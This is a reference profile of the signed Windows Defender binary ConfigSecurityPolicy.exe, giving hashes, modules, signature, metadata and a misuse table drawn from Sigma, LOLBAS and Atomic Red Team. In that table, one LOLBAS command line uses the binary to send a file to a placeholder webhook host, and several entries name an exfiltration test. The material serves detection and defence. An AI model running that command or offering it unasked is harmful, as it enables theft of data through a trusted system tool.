ConfigSecurityPolicy.exe

File Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\ConfigSecurityPolicy.exe
Description: Microsoft Security Client Policy Configuration Tool

Hashes

Type	Hash
MD5	`B5A3A34619717DB8486BCD0EE10D8791`
SHA1	`386A0B9561B2B5C63D07A15900B23BA41339112C`
SHA256	`6D9589A6DB768B9EB658215059B9848B9DE96DD8EA701BE8A11F28E062684E20`
SHA384	`87864E07B5CB2C789C6E5B5854C3CC30AA6CAA87C931BF37358C0D5E11747540620E82EAA4D3941871B1B15A1529DDF6`
SHA512	`7DA1AB11FB77FE3F5A2269C0DCD3DF50DB7DB400CD2F3F3948C31C2688F7446C9ED783D6FF43317D583E0559871EB31D1D5E87FB100EDF026979BEED8003D243`
SSDEEP	`3072:Kns2yL/4Vn+mFSGaToJqOMa1LFLK2gg6cEADk74t+fXa/QwKeGiSMV+T8rguIcmX:+s204t+cyoJ5M8LB3iqnXrgimGbw3`
IMP	`C87FC829E4403CB94530225A7ADC688A`
PESHA1	`D43B3033E281B2C2F061959FDB6C0487FE885724`
PE256	`E2078CBD9582436DEE41FAF4069E24DA4F950AD6C65B14E42D4FDFECC3B1A119`

Runtime Data

Usage (stderr):

Microsoft Security Client failed to apply policy "--help". Error code: 0xC00CE225.

Loaded Modules:

Path
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\ConfigSecurityPolicy.exe
C:\Windows\System32\ADVAPI32.dll
C:\Windows\System32\bcrypt.dll
C:\Windows\System32\bcryptPrimitives.dll
C:\Windows\System32\cfgmgr32.dll
C:\Windows\System32\clbcatq.dll
C:\Windows\System32\combase.dll
C:\Windows\System32\CRYPT32.dll
C:\Windows\SYSTEM32\CRYPTBASE.dll
C:\Windows\System32\cryptsp.dll
C:\Windows\System32\GDI32.dll
C:\Windows\System32\gdi32full.dll
C:\Windows\SYSTEM32\gpapi.dll
C:\Windows\System32\imagehlp.dll
C:\Windows\System32\IMM32.DLL
C:\Windows\System32\kernel.appcore.dll
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\System32\MSASN1.dll
C:\Windows\System32\msvcp_win.dll
C:\Windows\System32\msvcrt.dll
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\ole32.dll
C:\Windows\System32\OLEAUT32.dll
C:\Windows\System32\powrprof.dll
C:\Windows\System32\profapi.dll
C:\Windows\System32\RPCRT4.dll
C:\Windows\system32\rsaenh.dll
C:\Windows\System32\sechost.dll
C:\Windows\System32\shcore.dll
C:\Windows\System32\SHELL32.dll
C:\Windows\System32\shlwapi.dll
C:\Windows\System32\ucrtbase.dll
C:\Windows\System32\USER32.dll
C:\Windows\SYSTEM32\USERENV.dll
C:\Windows\system32\uxtheme.dll
C:\Windows\System32\win32u.dll
C:\Windows\System32\windows.storage.dll
C:\Windows\System32\WINTRUST.dll
C:\Windows\SYSTEM32\WTSAPI32.dll

Signature

Status: Signature verified.
Serial: 33000001C422B2F79B793DACB20000000001C4
Thumbprint: AE9C1AE54763822EEC42474983D8B635116C8452
Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

Original Filename: ConfigSecurityPolicy.exe
Product Name: Microsoft Windows Operating System
Company Name: Microsoft Corporation
File Version: 4.18.17763.1 (WinBuild.160101.0800)
Product Version: 4.18.17763.1
Language: English (United States)
Legal Copyright: Microsoft Corporation. All rights reserved.
Machine Type: 64-bit

File Scan

VirusTotal Detections: 0/70
VirusTotal Link: https://www.virustotal.com/gui/file/6d9589a6db768b9eb658215059b9848b9de96dd8ea701be8a11f28e062684e20/detection/

File Similarity (ssdeep match)

File	Score
C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe	100
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2004.6-0\ConfigSecurityPolicy.exe	100
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2005.5-0\ConfigSecurityPolicy.exe	100
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2006.10-0\ConfigSecurityPolicy.exe	100
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe	100
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2009.7-0\ConfigSecurityPolicy.exe	100

Possible Misuse

The following table contains possible examples of ConfigSecurityPolicy.exe being misused. While ConfigSecurityPolicy.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source	Source File	Example	License
sigma	proc_creation_win_lolbas_configsecuritypolicy.yml	`title: Suspicious ConfigSecurityPolicy Execution`	DRL 1.0
sigma	proc_creation_win_lolbas_configsecuritypolicy.yml	`- https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/`	DRL 1.0
sigma	proc_creation_win_lolbas_configsecuritypolicy.yml	`CommandLine\\|contains: ConfigSecurityPolicy.exe`	DRL 1.0
LOLBAS	ConfigSecurityPolicy.yml	`Name: ConfigSecurityPolicy.exe`
LOLBAS	ConfigSecurityPolicy.yml	`- Command: ConfigSecurityPolicy.exe C:\\Windows\\System32\\calc.exe https://webhook.site/xxxxxxxxx?encodedfile`
LOLBAS	ConfigSecurityPolicy.yml	`- Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe`
LOLBAS	ConfigSecurityPolicy.yml	`- IOC: ConfigSecurityPolicy storing data into alternate data streams.`
LOLBAS	ConfigSecurityPolicy.yml	`- IOC: Preventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS.`
LOLBAS	ConfigSecurityPolicy.yml	`- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe.`
atomic-red-team	index.md	- Atomic Test #1: Data Exfiltration with ConfigSecurityPolicy [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #1: Data Exfiltration with ConfigSecurityPolicy [windows]	MIT License. © 2018 Red Canary
atomic-red-team	T1567.md	- Atomic Test #1 - Data Exfiltration with ConfigSecurityPolicy	MIT License. © 2018 Red Canary
atomic-red-team	T1567.md	## Atomic Test #1 - Data Exfiltration with ConfigSecurityPolicy	MIT License. © 2018 Red Canary
atomic-red-team	T1567.md	Exfiltration of data using ConfigSecurityPolicy.exe	MIT License. © 2018 Red Canary
atomic-red-team	T1567.md	$path = resolve-path “c:\ProgramData\Microsoft\Windows Defender\Platform*\ConfigSecurityPolicy.exe”	MIT License. © 2018 Red Canary